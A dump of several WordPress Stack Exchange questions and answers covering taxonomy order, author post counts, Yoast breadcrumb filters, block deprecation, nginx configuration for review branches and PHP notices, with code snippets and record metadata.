I have some custom taxonomy for regions. Commonly it would look something like this. ``` USA (parent) - Arizona (child 1) - - Phoenix (child 2) ``` however, there will be cases where it will only be like ``` USA - Arizona ``` or ``` UK - Wales ``` and maybe even just ``` Japan ``` In my for loop I get the taxonomy data as `$location = get_the_terms( $id, 'listings_region' );` and then in the html/php I can simply write `$location[0]->name` and then I get the the name of the first object in the array. I have however noticed that the taxonomy comes back not in the correct hierarchy - instead, alphabetically. When I `echo '<pre>'; print_r($location); echo '</pre>'`, I get the array and [0] would be Arizona and [1] would be USA. How can I retrieve it the taxonomy array in the correct order so that ideally [0] is always the parent, [1] is the first child, etc? Thanks in advance.
> > I just came from Laravel development so I suppose there is a wordpress-ish way to go about accessing a model and maybe I am missing some step? > > > You don't, Laravel is a framework that provides structure, and so models are models, but in WP there's none of that. Plugins in WordPress are just PHP files with a comment at the top with some meta data. They're not contained, sandboxed, or separated in any way, which means: * you can't infer anything from the folder/file name a class might be in * those objects and variables aren't stored in a common place, unless that plugin puts it in one * there is no standard way to grab a plugins data structures, if it has any data structures at all A plugin may not have any models to fetch, it may use a different programming paradigm, it may not store any data at all. A plugin might even load parts of Laravel and use Laravel to structure itself internally. I've used Symfony components in WP plugins myself So if the data is stored using WordPress APIs such as custom post types, post meta, taxonomies, etc, then you can use all the standard WP functions to retrieve them. You will need to do some investigation to understand what the post meta values LearnDash stores, and what they mean and do though. As for controllers and models, WP provides no controllers and models. Any classes WP does provide are not places to store or extend. It isn't an OO framework, or a framework at all, you have to provide those bits. So how do you get that object with the data you want? * Look at the learndash docs * Read the code to figure out where that class is instantiated into an object and how it's stored * Look for singletons, static variables, global variables, filters * Accept that there may not be a way to fetch it But more importantly, contact LearnDash support. 3rd party plugins are offtopic, so any answer you get here will be generic, it won't tell you the specifics of LearnDash. If LearnDash support can't help, then that's unfortunate, you'll need to hire a developer who knows LearnDash, investigate alternatives, or read the LearnDash code and docs to figure it out
350,537
<p>i see code in link how to showing User's Post Counts by Custom Post Type in the Admin's User List, but i want show posts count in author.php</p> <p><a href="https://wordpress.stackexchange.com/questions/3233/showing-users-post-counts-by-custom-post-type-in-the-admins-user-list">Showing User&#39;s Post Counts by Custom Post Type in the Admin&#39;s User List?</a></p> <p>is show in users.php like image:</p> <p><a href="https://i.stack.imgur.com/1byXk.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/1byXk.png" alt="enter image description here"></a></p> <p>But i want show posts count like image in author.php, please help me, thanks.</p>
[ { "answer_id": 350548, "author": "Anteraez", "author_id": 176312, "author_profile": "https://wordpress.stackexchange.com/users/176312", "pm_score": 0, "selected": false, "text": "<p>You can use the following code to get the post count published by a user in the author.php file</p>\n\n<pre><code>$author_id = get_queried_object_id();\n\n$getAuthorPosts = new WP_Query(\n array(\n \"post_type\" =&gt; \"post\", // Replace \"post\" with your custom post type. e.g. \"book\" OR \"WHATEVER\"\n \"author\" =&gt; $author_id,\n )\n);\n\necho $getAuthorPosts-&gt;found_posts; // Number of posts published by the author.\n</code></pre>\n" }, { "answer_id": 350552, "author": "Vantiya", "author_id": 92361, "author_profile": "https://wordpress.stackexchange.com/users/92361", "pm_score": 2, "selected": true, "text": "<p>Here I've modified the code from URL you've given. </p>\n\n<pre><code>function _yoursite_get_author_post_type_counts() {\n static $counts;\n if (!isset($counts)) {\n global $wpdb;\n global $wp_post_types;\n $sql = &lt;&lt;&lt;SQL\n SELECT\n post_type,\n post_author,\n COUNT(*) AS post_count\n FROM\n {$wpdb-&gt;posts}\n WHERE 1=1\n AND post_type NOT IN ('revision','nav_menu_item')\n AND post_status IN ('publish','pending', 'draft')\n GROUP BY\n post_type,\n post_author\nSQL;\n $posts = $wpdb-&gt;get_results($sql);\n foreach($posts as $post) {\n $post_type_object = $wp_post_types[$post_type = $post-&gt;post_type];\n if (!empty($post_type_object-&gt;label))\n $label = $post_type_object-&gt;label;\n else if (!empty($post_type_object-&gt;labels-&gt;name))\n $label = $post_type_object-&gt;labels-&gt;name;\n else\n $label = ucfirst(str_replace(array('-','_'),' ',$post_type));\n if (!isset($counts[$post_author = $post-&gt;post_author]))\n $counts[$post_author] = array();\n $counts[$post_author][] = array(\n 'label' =&gt; $label,\n 'count' =&gt; $post-&gt;post_count,\n 'type' =&gt; $post-&gt;post_type,\n );\n }\n }\n return $counts;\n}\n$user_id = get_current_user_id();\n$counts = _yoursite_get_author_post_type_counts();\n$custom_column = array();\nif (isset($counts[$user_id]) &amp;&amp; is_array($counts[$user_id]))\n foreach($counts[$user_id] as $count) {\n // $link = admin_url() . \"edit.php?post_type=\" . $count['type']. \"&amp;author=\".$user_id;\n // admin_url() . \"edit.php?author=\" . $user-&gt;ID;\n // $custom_column[] = \"\\t&lt;tr&gt;&lt;th&gt;&lt;a href={$link}&gt;{$count['label']}&lt;/a&gt;&lt;/th&gt;&lt;td&gt;{$count['count']}&lt;/td&gt;&lt;/tr&gt;\";\n echo $count['label']. \" \".$count['count'].\"&lt;br /&gt;\"; \n }\n}\n</code></pre>\n\n<p>I've not tested but it's based on the code from given URL. I've just echoed it to verify if the correct data is being displayed. Further you can do what's you required for you actual requirement.</p>\n" } ]
2019/10/15
[ "https://wordpress.stackexchange.com/questions/350537", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/144156/" ]
i see code in link how to showing User's Post Counts by Custom Post Type in the Admin's User List, but i want show posts count in author.php [Showing User's Post Counts by Custom Post Type in the Admin's User List?](https://wordpress.stackexchange.com/questions/3233/showing-users-post-counts-by-custom-post-type-in-the-admins-user-list) is show in users.php like image: [![enter image description here](https://i.stack.imgur.com/1byXk.png)](https://i.stack.imgur.com/1byXk.png) But i want show posts count like image in author.php, please help me, thanks.
Here I've modified the code from URL you've given. ``` function _yoursite_get_author_post_type_counts() { static $counts; if (!isset($counts)) { global $wpdb; global $wp_post_types; $sql = <<<SQL SELECT post_type, post_author, COUNT(*) AS post_count FROM {$wpdb->posts} WHERE 1=1 AND post_type NOT IN ('revision','nav_menu_item') AND post_status IN ('publish','pending', 'draft') GROUP BY post_type, post_author SQL; $posts = $wpdb->get_results($sql); foreach($posts as $post) { $post_type_object = $wp_post_types[$post_type = $post->post_type]; if (!empty($post_type_object->label)) $label = $post_type_object->label; else if (!empty($post_type_object->labels->name)) $label = $post_type_object->labels->name; else $label = ucfirst(str_replace(array('-','_'),' ',$post_type)); if (!isset($counts[$post_author = $post->post_author])) $counts[$post_author] = array(); $counts[$post_author][] = array( 'label' => $label, 'count' => $post->post_count, 'type' => $post->post_type, ); } } return $counts; } $user_id = get_current_user_id(); $counts = _yoursite_get_author_post_type_counts(); $custom_column = array(); if (isset($counts[$user_id]) && is_array($counts[$user_id])) foreach($counts[$user_id] as $count) { // $link = admin_url() . "edit.php?post_type=" . $count['type']. "&author=".$user_id; // admin_url() . "edit.php?author=" . $user->ID; // $custom_column[] = "\t<tr><th><a href={$link}>{$count['label']}</a></th><td>{$count['count']}</td></tr>"; echo $count['label']. " ".$count['count']."<br />"; } } ``` I've not tested but it's based on the code from given URL. I've just echoed it to verify if the correct data is being displayed. Further you can do what's you required for you actual requirement.
350,538
<p>I know we can manually edit the breadcrumb title for a page or post using Yoast SEO's breadcrumb functionality. </p> <p>But with thousands of posts and pages on an existing site this isn't desirable. </p> <p>My brain goes full potato when it comes to stuff other than html and css and maybe hacking some existing PHP code snippets to do my bidding with a lot of trial and error. So that's why I'm reaching out to the community here. </p> <p>Example:</p> <p>A child page about blue widgets lives at:</p> <p><strong><a href="https://www.example.com/widgets/blue" rel="nofollow noreferrer">https://www.example.com/widgets/blue</a></strong></p> <p>By default I believe the automatically generated breadcrumb path for this child page of a parent page would look something like:</p> <p><strong>Home > We make the most amazing widgets in the world > Our Blue widgets are everything you need!</strong></p> <p>The filter would instead:</p> <ol> <li>Use the url slug for each page [widgets] and [blue] as the breadcrumb title.</li> <li>Capitalize the first letter of only the first word. </li> <li>Turn any dashes (-) in the slug into spaces for the breadcrumb title.</li> </ol> <p>And output a breadcrumb that looks like this:</p> <p><strong>Home > Widgets > Blue</strong></p> <p>The filter would target pages, posts and categories across the board so that all webpages on the site would have a breadcrumb with breadcrumb titles based on the url slugs of the different parts of the breadcrumb path. </p> <p>If it is possible to still manually override the filter by entering a custom breadcrumb title in the existing Yoast SEO custom breadcrumb title field, that would be awesome. </p> <p>I have tried to find existing code snippets that come close to this functionality but haven't been succesful so far. </p> <p>Any help or links you are willing to provide will be appreciated very much. Thank you in advance for taking the time to reply. </p>
[ { "answer_id": 364269, "author": "RedForest", "author_id": 186251, "author_profile": "https://wordpress.stackexchange.com/users/186251", "pm_score": 3, "selected": false, "text": "<p>Yoast does have a filter for you to use. See here:\n<a href=\"https://gist.github.com/jmcclellan/b2d97ffee0e924e28fa1\" rel=\"noreferrer\">https://gist.github.com/jmcclellan/b2d97ffee0e924e28fa1</a></p>\n\n<p>I used this to add \"parent\" pages to custom post types. We wanted to use pages as our category landers w/ custom post types as children. Yoast would not output the parent page slug by default since there is technically no real relationship, so we used this function to override and splice in the parent slug for each custom post type. You should be able to modify this solution for your needs:</p>\n\n<pre><code>add_filter(\"wpseo_breadcrumb_links\", \"wpse_100012_override_yoast_breadcrumb_trail\");\n\nfunction wpse_100012_override_yoast_breadcrumb_trail($links)\n{\n $post_type = get_post_type();\n\n if ($post_type === 'claims') {\n $breadcrumb[] = array(\n 'url' =&gt; '/claim',\n 'text' =&gt; 'claim'\n );\n array_splice($links, 1, -3, $breadcrumb);\n }\n return $links;\n}\n</code></pre>\n\n<p>For the lowercase styling, just use CSS:</p>\n\n<pre><code>#breadcrumbs {\n text-transform: lowercase;\n} \n</code></pre>\n" }, { "answer_id": 364279, "author": "RedForest", "author_id": 186251, "author_profile": "https://wordpress.stackexchange.com/users/186251", "pm_score": 0, "selected": false, "text": "<p>I actually needed to do this today it turns out, so I went ahead and wrote a solution for pages. I don't use posts, other than CPT for this project, but with a little modification this can work for posts as well. I left my previous answer as it does provide a solution that may be enough for certain uses.</p>\n<pre><code>add_filter('wpseo_breadcrumb_links', 'wpse350538_customize_yoast_breadcrumbs');\n\nfunction wpse350538_customize_yoast_breadcrumbs($links)\n{\n //get current page slug and make it pretty\n $current_page = sanitize_post($GLOBALS['wp_the_query']-&gt;get_queried_object());\n $slug = $current_page-&gt;post_name;\n $slug_pretty = str_replace('-', ' ', $slug);\n\n if (is_page()) {\n //this page has ancestors\n if ($current_page-&gt;post_parent) {\n //set the first breadcrumb to homepage\n $links = array(\n 0 =&gt; array(\n 'url' =&gt; get_home_url(),\n 'text' =&gt; 'home'\n )\n );\n //get a list of parent pages, loop through them and add to link array\n $parents = get_post_ancestors($current_page-&gt;ID);\n foreach ($parents as $parent) {\n $id = get_post_field('ID', $parent);\n //make sure we don't add the current page twice\n if ($id !== $current_page-&gt;ID) {\n //get parent slug and make it pretty\n $parent_slug = get_post_field('post_name', $current_page-&gt;post_parent);\n $links[] = array(\n 'url' =&gt; get_permalink($id),\n 'text' =&gt; str_replace('-', ' ', $parent_slug)\n );\n }\n\n }\n //lastly, add current page to link array\n $links[] = array(\n 'url' =&gt; $slug,\n 'text' =&gt; $slug_pretty\n );\n\n } else {\n // this page is top level so we just use the slug and make it pretty\n $links = array(\n 0 =&gt; array(\n 'url' =&gt; get_home_url(),\n 'text' =&gt; 'home'\n ),\n 1 =&gt; array(\n 'url' =&gt; $slug,\n 'text' =&gt; $slug_pretty\n )\n );\n }\n\n }\n\n return $links;\n}\n</code></pre>\n" } ]
2019/10/15
[ "https://wordpress.stackexchange.com/questions/350538", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/176820/" ]
I know we can manually edit the breadcrumb title for a page or post using Yoast SEO's breadcrumb functionality. But with thousands of posts and pages on an existing site this isn't desirable. My brain goes full potato when it comes to stuff other than html and css and maybe hacking some existing PHP code snippets to do my bidding with a lot of trial and error. So that's why I'm reaching out to the community here. Example: A child page about blue widgets lives at: **<https://www.example.com/widgets/blue>** By default I believe the automatically generated breadcrumb path for this child page of a parent page would look something like: **Home > We make the most amazing widgets in the world > Our Blue widgets are everything you need!** The filter would instead: 1. Use the url slug for each page [widgets] and [blue] as the breadcrumb title. 2. Capitalize the first letter of only the first word. 3. Turn any dashes (-) in the slug into spaces for the breadcrumb title. And output a breadcrumb that looks like this: **Home > Widgets > Blue** The filter would target pages, posts and categories across the board so that all webpages on the site would have a breadcrumb with breadcrumb titles based on the url slugs of the different parts of the breadcrumb path. If it is possible to still manually override the filter by entering a custom breadcrumb title in the existing Yoast SEO custom breadcrumb title field, that would be awesome. I have tried to find existing code snippets that come close to this functionality but haven't been succesful so far. Any help or links you are willing to provide will be appreciated very much. Thank you in advance for taking the time to reply.
Yoast does have a filter for you to use. See here: <https://gist.github.com/jmcclellan/b2d97ffee0e924e28fa1> I used this to add "parent" pages to custom post types. We wanted to use pages as our category landers w/ custom post types as children. Yoast would not output the parent page slug by default since there is technically no real relationship, so we used this function to override and splice in the parent slug for each custom post type. You should be able to modify this solution for your needs: ``` add_filter("wpseo_breadcrumb_links", "wpse_100012_override_yoast_breadcrumb_trail"); function wpse_100012_override_yoast_breadcrumb_trail($links) { $post_type = get_post_type(); if ($post_type === 'claims') { $breadcrumb[] = array( 'url' => '/claim', 'text' => 'claim' ); array_splice($links, 1, -3, $breadcrumb); } return $links; } ``` For the lowercase styling, just use CSS: ``` #breadcrumbs { text-transform: lowercase; } ```
350,539
<p>I'm change the default attributes:</p> <pre><code>const blockAttrs = { avatarSize: { type: 'number', default: 120, // 70 -&gt; 120 }, //other attrs }; </code></pre> <p>Deprecated function:</p> <pre><code>deprecated: [ { attributes: { ...blockAttrs, avatarSize: { type: 'number', default: 70 } }, save: function ( { attributes } ) {} } ] </code></pre> <p>But when i refresh post, block still display error: <a href="https://i.stack.imgur.com/nY3ls.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/nY3ls.png" alt="enter image description here"></a></p> <p>Someone </p>
[ { "answer_id": 367570, "author": "Asante Media", "author_id": 127010, "author_profile": "https://wordpress.stackexchange.com/users/127010", "pm_score": 2, "selected": false, "text": "<p>Looking at the documentation from <a href=\"https://developer.wordpress.org/block-editor/developers/block-api/block-deprecation/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/block-editor/developers/block-api/block-deprecation/</a></p>\n\n<p>I think you may need the following </p>\n\n<pre><code> migrate( { text } ) {\n return {\n content: text\n };\n },\n</code></pre>\n\n<p>So in your case:</p>\n\n<pre><code>migrate( { avatarSize } ) {\n avatarSize: {\n type: 'number',\n default: 70\n } content: text\n };\n },\n</code></pre>\n\n<p>Hopefully points you in the correct direction</p>\n" }, { "answer_id": 402512, "author": "JonShipman", "author_id": 121885, "author_profile": "https://wordpress.stackexchange.com/users/121885", "pm_score": 0, "selected": false, "text": "<p>Your save function needs to return a valid React component or null.</p>\n<pre class=\"lang-php prettyprint-override\"><code>save: function ( { attributes } ) {}\n</code></pre>\n<p>should be</p>\n<pre class=\"lang-php prettyprint-override\"><code>save: function ( { attributes } ) { return null; }\n</code></pre>\n" } ]
2019/10/15
[ "https://wordpress.stackexchange.com/questions/350539", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/154059/" ]
I'm change the default attributes: ``` const blockAttrs = { avatarSize: { type: 'number', default: 120, // 70 -> 120 }, //other attrs }; ``` Deprecated function: ``` deprecated: [ { attributes: { ...blockAttrs, avatarSize: { type: 'number', default: 70 } }, save: function ( { attributes } ) {} } ] ``` But when i refresh post, block still display error: [![enter image description here](https://i.stack.imgur.com/nY3ls.png)](https://i.stack.imgur.com/nY3ls.png) Someone
Looking at the documentation from <https://developer.wordpress.org/block-editor/developers/block-api/block-deprecation/> I think you may need the following ``` migrate( { text } ) { return { content: text }; }, ``` So in your case: ``` migrate( { avatarSize } ) { avatarSize: { type: 'number', default: 70 } content: text }; }, ``` Hopefully points you in the correct direction
350,545
<p>Since my wordpress-instalation updated itself, i cant get access to the wp-admin page. All i get is a blank page with</p> <pre><code>Warning: Cannot modify header information - headers already sent by (output started at /www/htdocs/v084729/wordpress/wp-content/themes/sjr/functions.php:1) in /www/htdocs/v084729/wordpress/wp-includes/pluggable.php on line 1251 Warning: Cannot modify header information - headers already sent by (output started at /www/htdocs/v084729/wordpress/wp-content/themes/sjr/functions.php:1) in /www/htdocs/v084729/wordpress/wp-includes/pluggable.php on line 1254 </code></pre> <p>Can anybody help me?</p> <p>Thanks in advance!</p> <p>Kevin</p>
[ { "answer_id": 367570, "author": "Asante Media", "author_id": 127010, "author_profile": "https://wordpress.stackexchange.com/users/127010", "pm_score": 2, "selected": false, "text": "<p>Looking at the documentation from <a href=\"https://developer.wordpress.org/block-editor/developers/block-api/block-deprecation/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/block-editor/developers/block-api/block-deprecation/</a></p>\n\n<p>I think you may need the following </p>\n\n<pre><code> migrate( { text } ) {\n return {\n content: text\n };\n },\n</code></pre>\n\n<p>So in your case:</p>\n\n<pre><code>migrate( { avatarSize } ) {\n avatarSize: {\n type: 'number',\n default: 70\n } content: text\n };\n },\n</code></pre>\n\n<p>Hopefully points you in the correct direction</p>\n" }, { "answer_id": 402512, "author": "JonShipman", "author_id": 121885, "author_profile": "https://wordpress.stackexchange.com/users/121885", "pm_score": 0, "selected": false, "text": "<p>Your save function needs to return a valid React component or null.</p>\n<pre class=\"lang-php prettyprint-override\"><code>save: function ( { attributes } ) {}\n</code></pre>\n<p>should be</p>\n<pre class=\"lang-php prettyprint-override\"><code>save: function ( { attributes } ) { return null; }\n</code></pre>\n" } ]
2019/10/15
[ "https://wordpress.stackexchange.com/questions/350545", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/176826/" ]
Since my wordpress-instalation updated itself, i cant get access to the wp-admin page. All i get is a blank page with ``` Warning: Cannot modify header information - headers already sent by (output started at /www/htdocs/v084729/wordpress/wp-content/themes/sjr/functions.php:1) in /www/htdocs/v084729/wordpress/wp-includes/pluggable.php on line 1251 Warning: Cannot modify header information - headers already sent by (output started at /www/htdocs/v084729/wordpress/wp-content/themes/sjr/functions.php:1) in /www/htdocs/v084729/wordpress/wp-includes/pluggable.php on line 1254 ``` Can anybody help me? Thanks in advance! Kevin
Looking at the documentation from <https://developer.wordpress.org/block-editor/developers/block-api/block-deprecation/> I think you may need the following ``` migrate( { text } ) { return { content: text }; }, ``` So in your case: ``` migrate( { avatarSize } ) { avatarSize: { type: 'number', default: 70 } content: text }; }, ``` Hopefully points you in the correct direction
350,554
<p>I'd like host review branches for staging, to test and get feedback before publishing to production. I tried to follow some documentation provided online such as the NGINX recipes ( <a href="https://www.nginx.com/resources/wiki/start/topics/recipes/wordpress/" rel="nofollow noreferrer">https://www.nginx.com/resources/wiki/start/topics/recipes/wordpress/</a> ) without success! So, how to fix it?</p> <p>The pattern for the review branches are <code>/review-xxxxx</code> or <code>/review-xx_x-xxx</code>. As I have setup the Deployment pipeline to trigger publishing to AWS ECS for <code>review-*</code> branches and that's where I'd like to keep it private for tests and feedback only.</p> <p>I've hard typed <code>/review-ci</code> to avoid having to troubleshoot any regex pattern issues and keep it simple to start with. So, you'll find the <code>/review-ci</code> path in the NGINX Conf file, so that it's clear what the goal is.</p> <p>My NGINX conf file looks like:</p> <pre><code>server { listen 80; server_name httpwordpress.docker.localhost; # Logs access_log /var/log/nginx/access.log; error_log /var/log/nginx/error.log; # Default location settings location / { index index.php; } location /review-ci { index index.php; try_files $uri $uri/ /review-ci/index.php?$args; } # Pass the PHP scripts to FastCGI server location ~ \.php$ { fastcgi_split_path_info ^(.+\.php)(/.+)$; fastcgi_pass php-fpm:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } } </code></pre> <p>I have perm links active and I should be able to request <code>foobar.com/review-ci/wp-admin</code> and see the login screen.</p> <p>When I do <code>curl http://httpwordpress.docker.localhost/review-ci/wp-admin</code>, I get:</p> <pre><code>404 page not found </code></pre> <p>I'm also using <code>https://github.com/wp-graphql/wp-graphql</code>, which means that the address <code>http://httpwordpress.docker.localhost/review-ci/graphql</code> should return a data response, but instead, I get 404.</p> <p>This is a small step before I introduce a regex pattern, as I'd like to deploy the application to AWS ECS. And I noticed straight away that this failed with my original setup which I exposed and requested for help in serverfault ( <a href="https://serverfault.com/questions/988035/nginx-location-regex-for-prefixed-paths-failure">https://serverfault.com/questions/988035/nginx-location-regex-for-prefixed-paths-failure</a> ).</p> <p>Meanwhile, simply relying on the hostname and ROOT path as seen bellow works fine in the development environment. But unfortunately, staging might have concurrent versions that have separate features or requirements not ready for publishing and it's kept separate by concern or "git branch name" prefixed by <code>review-</code> if required to deploy and have a <code>staging url</code>.</p> <pre><code>server { listen 80; server_name httpwordpress.docker.localhost; root /var/www/html; index index.php; access_log /var/log/nginx/access.log; error_log /var/log/nginx/error.log; client_max_body_size 200m; location / { try_files $uri $uri/ /index.php?$args; } location ~ \.php$ { try_files $uri =404; fastcgi_split_path_info ^(.+\.php)(/.+)$; fastcgi_pass php-fpm:9000; fastcgi_index index.php; include fastcgi_params; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param PATH_INFO $fastcgi_path_info; client_max_body_size 200m; } } </code></pre> <p>Does anyone know how to fix this?</p> <p>Thanks for looking and any feedback or hint is appreciated!</p>
[ { "answer_id": 367570, "author": "Asante Media", "author_id": 127010, "author_profile": "https://wordpress.stackexchange.com/users/127010", "pm_score": 2, "selected": false, "text": "<p>Looking at the documentation from <a href=\"https://developer.wordpress.org/block-editor/developers/block-api/block-deprecation/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/block-editor/developers/block-api/block-deprecation/</a></p>\n\n<p>I think you may need the following </p>\n\n<pre><code> migrate( { text } ) {\n return {\n content: text\n };\n },\n</code></pre>\n\n<p>So in your case:</p>\n\n<pre><code>migrate( { avatarSize } ) {\n avatarSize: {\n type: 'number',\n default: 70\n } content: text\n };\n },\n</code></pre>\n\n<p>Hopefully points you in the correct direction</p>\n" }, { "answer_id": 402512, "author": "JonShipman", "author_id": 121885, "author_profile": "https://wordpress.stackexchange.com/users/121885", "pm_score": 0, "selected": false, "text": "<p>Your save function needs to return a valid React component or null.</p>\n<pre class=\"lang-php prettyprint-override\"><code>save: function ( { attributes } ) {}\n</code></pre>\n<p>should be</p>\n<pre class=\"lang-php prettyprint-override\"><code>save: function ( { attributes } ) { return null; }\n</code></pre>\n" } ]
2019/10/15
[ "https://wordpress.stackexchange.com/questions/350554", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/176832/" ]
I'd like host review branches for staging, to test and get feedback before publishing to production. I tried to follow some documentation provided online such as the NGINX recipes ( <https://www.nginx.com/resources/wiki/start/topics/recipes/wordpress/> ) without success! So, how to fix it? The pattern for the review branches are `/review-xxxxx` or `/review-xx_x-xxx`. As I have setup the Deployment pipeline to trigger publishing to AWS ECS for `review-*` branches and that's where I'd like to keep it private for tests and feedback only. I've hard typed `/review-ci` to avoid having to troubleshoot any regex pattern issues and keep it simple to start with. So, you'll find the `/review-ci` path in the NGINX Conf file, so that it's clear what the goal is. My NGINX conf file looks like: ``` server { listen 80; server_name httpwordpress.docker.localhost; # Logs access_log /var/log/nginx/access.log; error_log /var/log/nginx/error.log; # Default location settings location / { index index.php; } location /review-ci { index index.php; try_files $uri $uri/ /review-ci/index.php?$args; } # Pass the PHP scripts to FastCGI server location ~ \.php$ { fastcgi_split_path_info ^(.+\.php)(/.+)$; fastcgi_pass php-fpm:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } } ``` I have perm links active and I should be able to request `foobar.com/review-ci/wp-admin` and see the login screen. When I do `curl http://httpwordpress.docker.localhost/review-ci/wp-admin`, I get: ``` 404 page not found ``` I'm also using `https://github.com/wp-graphql/wp-graphql`, which means that the address `http://httpwordpress.docker.localhost/review-ci/graphql` should return a data response, but instead, I get 404. This is a small step before I introduce a regex pattern, as I'd like to deploy the application to AWS ECS. And I noticed straight away that this failed with my original setup which I exposed and requested for help in serverfault ( <https://serverfault.com/questions/988035/nginx-location-regex-for-prefixed-paths-failure> ). Meanwhile, simply relying on the hostname and ROOT path as seen bellow works fine in the development environment. But unfortunately, staging might have concurrent versions that have separate features or requirements not ready for publishing and it's kept separate by concern or "git branch name" prefixed by `review-` if required to deploy and have a `staging url`. ``` server { listen 80; server_name httpwordpress.docker.localhost; root /var/www/html; index index.php; access_log /var/log/nginx/access.log; error_log /var/log/nginx/error.log; client_max_body_size 200m; location / { try_files $uri $uri/ /index.php?$args; } location ~ \.php$ { try_files $uri =404; fastcgi_split_path_info ^(.+\.php)(/.+)$; fastcgi_pass php-fpm:9000; fastcgi_index index.php; include fastcgi_params; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param PATH_INFO $fastcgi_path_info; client_max_body_size 200m; } } ``` Does anyone know how to fix this? Thanks for looking and any feedback or hint is appreciated!
Looking at the documentation from <https://developer.wordpress.org/block-editor/developers/block-api/block-deprecation/> I think you may need the following ``` migrate( { text } ) { return { content: text }; }, ``` So in your case: ``` migrate( { avatarSize } ) { avatarSize: { type: 'number', default: 70 } content: text }; }, ``` Hopefully points you in the correct direction
350,557
<p>I was moving something in my web to add a class to all my images, and now i have this message:</p> <p>[15-Oct-2019 10:44:01 UTC] PHP Notice: Trying to get property 'post_title' of non-object in /home/public_html/wp-includes/nav-menu.php on line 825</p> <p>[15-Oct-2019 10:44:01 UTC] PHP Notice: Trying to get property 'ID' of non-object in /home/public_html/wp-includes/nav-menu.php on line 825</p> <p>[15-Oct-2019 10:44:01 UTC] PHP Notice: Trying to get property 'ID' of non-object in /home/public_html/wp-includes/nav-menu.php on line 829</p> <p>What could be happen? I have made rollback but the message still appear. Is it dangerous?</p>
[ { "answer_id": 350558, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 1, "selected": false, "text": "<p>The root problem here is assumptions.</p>\n\n<p>For example lets say we have an array here:</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>$test = [\n 'foo' =&gt; 'bar'\n];\n</code></pre>\n\n<p>If we run <code>echo $test['foo'];</code> we should see <em>bar</em>, but what if we ran <code>echo $test['bananas'];</code>? There is no bananas entry in that array, so PHP will notice this, throw a warning/notice similar to the one you're seeing, then fill in the missing value with <code>''</code> or <code>null</code>.</p>\n\n<p>This also happens with objects, e.g. if we take a classic post object and try to do this: <code>echo $post-&gt;odijfnvlkdsfnvlkjdsnvkljdfnv;</code>, we'll get a warning/notice</p>\n\n<p>The same is true of your code. Most likely, the code calls an API but never checks if it was succesful, and just assumes it was. Or, a variable is misspelt.</p>\n\n<p>You can check for these things with guards such as <code>if ( !empty( ... ) ) {</code>, or by checking return values on WP functions to see if they returned what you expected them to, or if something went wrong.</p>\n\n<blockquote>\n <p>What could be happen? I have made rollback but the message still appear. Is it dangerous?</p>\n</blockquote>\n\n<p>Yes and no, there are possible consequences of this, and it depends a lot on what you're doing and how it could interact. Because you're assuming the values are good when they aren't, or using things that don't exist, PHP will substitute a placeholder value. That value is a <code>false</code>-ish value, and might mess up your logic, or lead to unexpected situations. That could be cryptic errors, or avenues to exploit security.</p>\n\n<p>The biggest issue is when PHP is configured to show these warnings on the frontend, which can break REST XMLRPC and AJAX, as well as anything that changes HTTP headers to do things</p>\n\n<p>The most annoying issue though, is that debugging with a PHP error log becomes almost impossible due to the huge numbers of warnings this would generate. Anything of interest becomes buried under a deluge of notices about object properties and array keys being access that don't exist.</p>\n" }, { "answer_id": 350595, "author": "butlerblog", "author_id": 38603, "author_profile": "https://wordpress.stackexchange.com/users/38603", "pm_score": 1, "selected": false, "text": "<p>The properties listed in your notices are all properties of the <code>$post</code> object. The notices are indicating that where this is used, the <code>$post</code> object is not defined (i.e. it is not an existing object).</p>\n\n<p>This can occur as a result of plugins/themes and/or a combination of those things, or custom code. Based on your description (\"I was moving something in my web to add a class to all my images\"), what you are doing may be intending to use the <code>$post</code> object, but it is not actually defined where you are trying to use it.</p>\n\n<p>This may be as simple as applying it as a \"global\" variable in your code (assuming this is a code snippet). If so, try adding this:</p>\n\n<pre><code>global $post;\n</code></pre>\n\n<p>Or, provide some more detail on what you changed (and what you had before the change).</p>\n" }, { "answer_id": 393864, "author": "Kevinleary.net", "author_id": 1495, "author_profile": "https://wordpress.stackexchange.com/users/1495", "pm_score": 0, "selected": false, "text": "<p>If you see this happening in a function outside of a theme template, then adding <code>global $post;</code> to the top of the function <em>might</em> work.</p>\n<p>If it's happening on a single theme template, first make sure that you're using the <code>$post</code> object after the <code>the_post()</code> function call.</p>\n<p>It's also likely that you're trying to use the <code>$post</code> object on a page that doesn't have one. This could include search results, 404, archives, and any other scenario where a single $post object isn't generated. In these cases I avoid the issue by checking to see if the <code>$post</code> object is a valid instance of the <code>WP_Post</code> class:</p>\n<pre><code>is_a($post, 'WP_Post')\n</code></pre>\n<p>Here's a working example of where I'd typically use this approach:</p>\n<pre><code>/**\n * Hero Lead-in\n */\nfunction hero_leadin() {\n global $post;\n\n // No $post object exists\n if ( ! is_a($post, 'WP_Post') ) return;\n \n return get_field('hero__lead-in');\n}\n</code></pre>\n<p>If my theme's <code>header.php</code> uses this <code>hero_leadin()</code> function, it won't lead to the <code>trying to get property 'id' of non-object</code> PHP notice.</p>\n" } ]
2019/10/15
[ "https://wordpress.stackexchange.com/questions/350557", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/176825/" ]
